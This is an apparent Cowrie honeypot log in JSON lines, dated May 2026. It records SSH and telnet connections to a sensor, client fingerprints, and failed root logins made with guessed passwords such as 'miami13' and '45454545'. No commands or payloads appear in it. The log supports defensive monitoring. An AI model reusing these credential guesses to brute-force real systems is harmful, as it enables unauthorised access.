{"eventid":"cowrie.session.closed","duration":40.400192975997925,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:34.096078Z","src_ip":"152.42.224.71","session":"48f1153b6931","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56864,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d1226f6dbc3","protocol":"ssh","message":"New connection: 103.15.222.183:56864 (159.203.135.109:22) [session: 4d1226f6dbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:34.314523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:34.322868Z","src_ip":"103.15.222.183","session":"4d1226f6dbc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:34.575495Z","src_ip":"103.15.222.183","session":"4d1226f6dbc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smirnova","message":"login attempt [root/smirnova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:35.336187Z","src_ip":"103.15.222.183","session":"4d1226f6dbc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:36.591908Z","src_ip":"103.15.222.183","session":"4d1226f6dbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34006,"dst_ip":"10.17.0.5","dst_port":23,"session":"d19c4a6f54ba","protocol":"telnet","message":"New connection: 152.42.224.71:34006 (10.17.0.5:23) [session: d19c4a6f54ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:39.605342Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55780,"dst_ip":"10.17.0.5","dst_port":22,"session":"a34e86070e75","protocol":"ssh","message":"New connection: 51.250.105.222:55780 (10.17.0.5:22) [session: a34e86070e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:47.390338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:47.394267Z","src_ip":"51.250.105.222","session":"a34e86070e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:47.523851Z","src_ip":"51.250.105.222","session":"a34e86070e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"080808","message":"login attempt [root/080808] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:47.913897Z","src_ip":"51.250.105.222","session":"a34e86070e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:49.046978Z","src_ip":"51.250.105.222","session":"a34e86070e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51646,"dst_ip":"10.17.0.5","dst_port":23,"session":"faefea449c5b","protocol":"telnet","message":"New connection: 152.42.224.71:51646 (10.17.0.5:23) [session: faefea449c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:49.366333Z"}
{"eventid":"cowrie.session.closed","duration":48.49138021469116,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:49.583663Z","src_ip":"152.42.224.71","session":"197f1f155f55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47776,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca123fb62336","protocol":"telnet","message":"New connection: 152.42.224.71:47776 (10.17.0.5:23) [session: ca123fb62336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:51:57.736804Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":54226,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bccd2476ce9","protocol":"telnet","message":"New connection: 213.108.3.46:54226 (10.17.0.5:23) [session: 7bccd2476ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:02.291827Z"}
{"eventid":"cowrie.session.closed","duration":0.019817590713500977,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:02.311498Z","src_ip":"213.108.3.46","session":"7bccd2476ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.260260581970215,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:03.865495Z","src_ip":"152.42.224.71","session":"d19c4a6f54ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.53269863128662,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:04.386704Z","src_ip":"152.42.224.71","session":"77f7ec41743c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35912,"dst_ip":"10.17.0.5","dst_port":23,"session":"2489b8d2629b","protocol":"telnet","message":"New connection: 152.42.224.71:35912 (10.17.0.5:23) [session: 2489b8d2629b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:08.944102Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35908,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94865102c2a","protocol":"telnet","message":"New connection: 152.42.224.71:35908 (10.17.0.5:23) [session: f94865102c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:10.506157Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0b4e7ff5e62","protocol":"telnet","message":"New connection: 152.42.224.71:35924 (10.17.0.5:23) [session: f0b4e7ff5e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:11.594168Z"}
{"eventid":"cowrie.session.closed","duration":43.97292923927307,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:12.288659Z","src_ip":"152.42.224.71","session":"1e83fdc5d8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35930,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6510eac4c64","protocol":"telnet","message":"New connection: 152.42.224.71:35930 (10.17.0.5:23) [session: b6510eac4c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:14.842894Z"}
{"eventid":"cowrie.session.closed","duration":30.66985034942627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:20.036087Z","src_ip":"152.42.224.71","session":"faefea449c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":58178,"dst_ip":"159.203.135.109","dst_port":22,"session":"85298723ab4e","protocol":"ssh","message":"New connection: 68.183.236.1:58178 (159.203.135.109:22) [session: 85298723ab4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:20.565475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:20.569959Z","src_ip":"68.183.236.1","session":"85298723ab4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:20.823171Z","src_ip":"68.183.236.1","session":"85298723ab4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:21.867292Z","src_ip":"68.183.236.1","session":"85298723ab4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:23.123025Z","src_ip":"68.183.236.1","session":"85298723ab4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33478,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c6380d60a6","protocol":"telnet","message":"New connection: 152.42.224.71:33478 (10.17.0.5:23) [session: 16c6380d60a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:29.608552Z"}
{"eventid":"cowrie.session.closed","duration":120.00278091430664,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:33.452965Z","src_ip":"152.42.224.71","session":"4bd60e403e9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48120,"dst_ip":"10.17.0.5","dst_port":23,"session":"109f5b24b9e2","protocol":"telnet","message":"New connection: 152.42.224.71:48120 (10.17.0.5:23) [session: 109f5b24b9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:39.335398Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26104,"dst_ip":"159.203.135.109","dst_port":22,"session":"54b1eda48bd4","protocol":"ssh","message":"New connection: 38.93.206.2:26104 (159.203.135.109:22) [session: 54b1eda48bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:40.096823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:40.101450Z","src_ip":"38.93.206.2","session":"54b1eda48bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:40.151985Z","src_ip":"38.93.206.2","session":"54b1eda48bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"45454545","message":"login attempt [root/45454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:40.303343Z","src_ip":"38.93.206.2","session":"54b1eda48bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:41.357505Z","src_ip":"38.93.206.2","session":"54b1eda48bd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48146,"dst_ip":"10.17.0.5","dst_port":23,"session":"0178fe67bfe8","protocol":"telnet","message":"New connection: 152.42.224.71:48146 (10.17.0.5:23) [session: 0178fe67bfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:41.950915Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a1304647d81","protocol":"telnet","message":"New connection: 152.42.224.71:48152 (10.17.0.5:23) [session: 5a1304647d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:44.471255Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53250,"dst_ip":"10.17.0.5","dst_port":22,"session":"e83d5b0fab70","protocol":"ssh","message":"New connection: 103.77.175.15:53250 (10.17.0.5:22) [session: e83d5b0fab70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:46.292767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:46.297704Z","src_ip":"103.77.175.15","session":"e83d5b0fab70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:46.553874Z","src_ip":"103.77.175.15","session":"e83d5b0fab70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3333333","message":"login attempt [root/3333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:47.325562Z","src_ip":"103.77.175.15","session":"e83d5b0fab70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37600,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9366c53df6b","protocol":"telnet","message":"New connection: 152.42.224.71:37600 (10.17.0.5:23) [session: a9366c53df6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:47.990284Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:48.582397Z","src_ip":"103.77.175.15","session":"e83d5b0fab70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37606,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8d33c5108b","protocol":"telnet","message":"New connection: 152.42.224.71:37606 (10.17.0.5:23) [session: 9f8d33c5108b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:51.821984Z"}
{"eventid":"cowrie.session.closed","duration":40.74038600921631,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:52:55.583163Z","src_ip":"152.42.224.71","session":"b6510eac4c64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":60952,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6be3b1f3fd5","protocol":"ssh","message":"New connection: 191.96.110.121:60952 (159.203.135.109:22) [session: d6be3b1f3fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:00.884001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:01.095942Z","src_ip":"191.96.110.121","session":"d6be3b1f3fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:01.628796Z","src_ip":"191.96.110.121","session":"d6be3b1f3fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.26387906074524,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:03.207870Z","src_ip":"152.42.224.71","session":"2489b8d2629b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:03.505704Z","src_ip":"191.96.110.121","session":"d6be3b1f3fd5","protocol":"ssh"}
